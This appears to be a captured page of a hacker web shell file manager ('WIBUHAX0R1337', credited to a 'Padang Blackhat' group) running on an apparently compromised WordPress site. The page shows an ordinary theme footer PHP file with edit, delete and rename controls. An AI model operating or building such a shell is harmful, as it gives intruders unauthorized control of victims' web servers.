-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
xtrasolutionsco.com
/
wp-content
/
themes
/
insurez
/
template-parts
/
footer
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
footer-1.php
4.212KB
Edit File
Delete File
Rename
<?php /** * Template part for displaying footer layout one * * @link https://developer.wordpress.org/themes/basics/template-hierarchy/ * * @package insurez */ // footer area links $footer_area_links = get_theme_mod( 'footer_area_links', __( '#', 'insurez' ) ); $insurez_footer_top_space = function_exists('get_field') ? get_field('insurez_footer_top_space') : '0'; // footer bg color and image from customizer kirki plugin $footer_bg_img = get_theme_mod( 'footer_bg_image' ); $footer_bg_color = get_theme_mod( 'footer_bg_color' ); // bg info from page $insurez_footer_bg_image = function_exists('tm_image_field')? tm_image_field('insurez_footer_bg_image') : ''; $insurez_footer_bg_color = function_exists('tm_field')? tm_field('insurez_footer_bg_color') : ''; // bg img condition $bg_image = $insurez_footer_bg_image ? $insurez_footer_bg_image['url'] : $footer_bg_img ; // bg color condition $bg_color = $insurez_footer_bg_color ? $insurez_footer_bg_color : $footer_bg_color; // footer_columns $footer_columns = 0; $footer_widgets = get_theme_mod( 'footer_widget_number', 3 ); for ( $num = 1; $num <= $footer_widgets; $num++ ) { if ( is_active_sidebar( 'footer-' . $num ) ) { $footer_columns++; } } switch ( $footer_columns ) { case '1': $footer_class[1] = 'col-lg-12'; break; case '2': $footer_class[1] = 'col-lg-6 col-md-6'; $footer_class[2] = 'col-lg-6 col-md-6'; break; case '3': $footer_class[1] = 'col-xl-4 col-lg-6 col-md-5'; $footer_class[2] = 'col-xl-4 col-lg-6 col-md-7'; $footer_class[3] = 'col-xl-4 col-lg-6'; break; case '4': $footer_class[1] = 'col-xxl-3 col-lg-6 col-md-6 col-sm-6'; $footer_class[2] = 'col-xxl-3 col-lg-6 col-md-6 col-sm-6'; $footer_class[3] = 'col-xxl-3 col-lg-6 col-md-6 col-sm-6'; $footer_class[4] = 'col-xxl-3 col-lg-6 col-md-6 col-sm-6'; break; default: $footer_class = 'col-xl-3 col-lg-3 col-md-6'; break; } ?> <!-- footer area start --> <div class="footer__area" data-background="<?php print esc_url($bg_image);?>"> <?php if ( is_active_sidebar('footer-1') OR is_active_sidebar('footer-2') OR is_active_sidebar('footer-3') OR is_active_sidebar('footer-4') ): ?> <div class="footer__top pt-120 pb-90"> <div class="footer-overlay p-relative;" data-bg-color="<?php print esc_attr($bg_color);?>"></div> <div class="container"> <div class="row"> <?php if ( $footer_columns < 4 ) { print '<div class="col-xxl-3 col-lg-6 col-md-6 col-sm-6">'; dynamic_sidebar( 'footer-1' ); print '</div>'; print '<div class="col-xxl-3 col-lg-6 col-md-6 col-sm-6">'; dynamic_sidebar( 'footer-2' ); print '</div>'; print '<div class="col-xxl-3 col-lg-6 col-md-6 col-sm-6">'; dynamic_sidebar( 'footer-3' ); print '</div>'; print '<div class="col-xxl-3 col-lg-6 col-md-6 col-sm-6">'; dynamic_sidebar( 'footer-4' ); print '</div>'; } else { for ( $num = 1; $num <= $footer_columns; $num++ ) { if ( !is_active_sidebar( 'footer-' . $num ) ) { continue; } print '<div class="' . esc_attr( $footer_class[$num] ) . '">'; dynamic_sidebar( 'footer-' . $num ); print '</div>'; } } ?> </div> </div> </div> <?php endif; ?> <div class="footer__bottom grey-bg-2 pt-25 pb-25"> <div class="container"> <div class="footer__bottom-inner"> <div class="row"> <div class="col-xxl-12"> <div class="footer__copyright text-center"> <p><?php print insurez_copyright_text(); ?></p> </div> </div> </div> </div> </div> </div> </div> <!-- footer area end -->
Save!!!
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat